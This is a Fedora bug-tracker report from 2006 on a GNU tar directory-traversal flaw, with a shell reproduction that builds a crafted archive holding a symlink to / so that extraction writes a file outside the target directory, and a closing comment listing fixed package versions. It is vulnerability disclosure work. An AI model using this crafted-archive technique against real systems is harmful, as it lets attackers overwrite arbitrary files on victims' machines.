Bug 216938

Summary: GNU tar directory traversal
Product: [Fedora] Fedora Reporter: Lubomir Kundrak <lkundrak>
Component: tarAssignee: Peter Vrabec <pvrabec>
Status: CLOSED RAWHIDE QA Contact: Ben Levenson <benl>
Severity: high Docs Contact:
Priority: medium    
Version: 6Keywords: Security
Target Milestone: ---   
Target Release: ---   
Hardware: All   
OS: Linux   
URL: http://lists.grok.org.uk/pipermail/full-disclosure/2006-November/050812.html
Whiteboard: impact=moderate,source=fulldisclosure,reported=20061122,public=20061121
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2006-12-04 15:48:41 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 216937    
Bug Blocks:    

Description Lubomir Kundrak 2006-11-22 19:47:23 UTC
+++ This bug was initially created as a clone of Bug #216937 +++

Description of problem:

GNU tar contains a flaw, that makes tar overwrite an arbitrairy file when
extracting a crafted archive.

See the original advisory for details.

Steps to Reproduce:

#TAR=/usr/src/redhat/BUILD/tar-1.13.25/src/tar
TAR=tar

# crafting a symlink

gcc -o tarxyz tarxyz.c
./tarxyz > xyz.tar

# cleaning environment up

rm -f/home/$USER/hello.txt
rm -f xyz

# adding files, relative to xyz/

mkdir -p xyz/home/$USER
echo "Hello" > xyz/home/$USER/hello.txt
tar -rf xyz.tar xyz/home/$USER

# exploitation

rm -rf xyz      # so symlink to / can be created
$TAR -xf xyz.tar
cat /home/$USER/hello.txt

Additional info:

All supported RHEL (2.1--4) and FC (5,6) releases are vulnerable

Comment 1 Peter Vrabec 2006-12-04 15:48:41 UTC
fixed in: tar-1.15.1-22.fc6, tar-1.15.1-17.FC5.